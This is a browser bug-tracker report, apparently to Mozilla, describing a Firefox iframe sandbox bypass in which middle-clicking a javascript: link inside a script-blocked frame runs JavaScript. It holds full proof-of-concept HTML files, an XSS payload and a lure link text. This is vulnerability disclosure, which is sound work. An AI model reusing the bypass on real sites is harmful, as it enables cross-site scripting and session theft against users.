Bug: Bypassing iFrame Sandboxing to Execute JavaScript (from sandbox="allow-same-origin" by middle-clicking `javascript:` link)
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-10-17 02:04:52+00:00
Resolved: 2024-12-11 18:47:27+00:00

# Summary: 

A vulnerability was found in Firefox that allows an attacker to bypass iFrame sandboxing restrictions and execute JavaScript within a sandboxed environment. The attacker can manipulate the content of a sandboxed iFrame and trick the parent frame into allowing JavaScript execution, even though the sandbox is configured with `sandbox="allow-same-origin"`, which should block all script execution.

# Description: 

In this scenario, an attacker finds iFrame that uses the attribute `sandbox="allow-same-origin"` without `allow-scripts`, meaning that scripts should be completely blocked within the iFrame. 

The attack works by tricking the parent frame into allowing JavaScript execution within the sandbox. Despite the sandbox attribute being set to block scripts, the attacker uses a technique to manipulate the iFrame's content and cause the parent to unknowingly enable script execution. This bypass relies on Firefox's flawed enforcement of the sandbox directive.

## Steps to Exploit:

1. The attacker identifies an iFrame on a vulnerable page where the parent frame has configured the iFrame with `sandbox="allow-same-origin"` to block scripts.
2. The attacker injects or gains control over the content loaded within the child iFrame.
3. Using a crafted payload, the attacker tricks the parent frame into executing the JavaScript that is in the child iFrame.
4. The script runs successfully, even though the parent assumes that no script execution is possible due to the sandbox restrictions.

*Tested on*: Latest Firefox 131.0.3 (64-bit)  - See `FireFox-Version.png`

*Note: The vulnerability is also tested on Chrome and Brave and it's FIXED on both browsers*

## Impact:

- **Exploitability:** High (the attacker only needs control over the content of a sandboxed iFrame) for example uploading HTML file in sandboxed view.
- **Consequence:** Successful JavaScript execution within a sandboxed iFrame. This can lead to various attacks, such as cross-site scripting (XSS), session hijacking, or data exfiltration.

# PoC:

We have 4 files in the PoC:

Normal-Parent.html : Normal parent that uses IFrame but doesn't apply any sandboxing.
```html
<h1>I am a regular parent frame, and I do not enforce any restrictions, allowing you to execute scripts freely.</h1>
<iframe frameborder="0" src="Normal-Child.html" style="height:99%;width:100%"></iframe>
```
Normal-Child.html : Normal Child Frame that has normal XSS payload to trigger. the payload triggered successfully on the Normal-Parent as it has no sandboxing.
```html
<!DOCTYPE html>
<html lang="en">
<body>
<script>alert(document.domain)</script>
</body>
</html>
```

Sandboxing-Parent.html : Sandboxing Parent that uses IFrame but uses `sandbox="allow-same-origin"` without `allow-scripts` to block scripts execution thus doesn't allow the Normal-Child to execute the XSS payload.
```html
<h1>I am the sandboxing parent frame and enforce restrictions by blocking scripts and other dynamic content.</h1>
<iframe sandbox="allow-same-origin" frameborder="0" src="Malicious-Child.html" style="height:99%;width:100%"></iframe>
```
Malicious-Child.html : Malicious child frame that uses special XSS payload to trigger XSS on the Sandboxing-Parent that should block all script execution.
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Malicious Child - I Can Execute Scripts on the Sandboxing Parent</title>
    <style>
        .login-link {
            display: inline-block;
            padding: 10px 15px;
            background-color: #007bff;
            color: white;
            border-radius: 5px;
            text-decoration: none;
            margin-top: 15px;
            transition: background-color 0.3s;
        }
    </style>
</head>
<body>
        </div>
<a class="login-link" href="javascript:alert(document.domain);">CLICK HERE USING MOUSE WHEEL TO REFRESH YOUR SESSION</a>
</body>
</html>
```
PoC Location  : https://github.com/ALUKiller/POC/blob/main/PoC/

# Steps

1) Accessing Normal-Parent IFrames the Normal-Child will trigger XSS as there is no sandboxing as shown below on `Normal-Parent_Normal-Child.png`

2) Accessing Sandboxing-Parent and trying to IFrames the Normal-Child will NOT trigger XSS as there is sandboxing applied as shown on `Sandboxing-Parent_Normal-Child.png`

3) Now, if we IFrame the Malicious-Child instead of the Normal-Child in the Sandboxing-Parent as shown on `Sandboxing-Parent_Malicious-Child.png`

4) To bypass the sandbox just click the 'MOUSE WHEEL' to open new tab which will trigger the XSS as shown on `Sandboxing-Parent_Malicious-Child-Sandboxing-BYPASSED.png`

# Analysis

This happens since we add below href into the Child that will be sandboxed
```html
<a class="login-link" href="javascript:alert(document.domain);">CLICK HERE USING MOUSE WHEEL TO REFRESH YOUR SESSION</a>
```
since the child is sandboxed we will not be able to directly execute JS however opening new tab from within the child will bypass the sandboxing.

NOTE: All images are in the uploaded Images.rar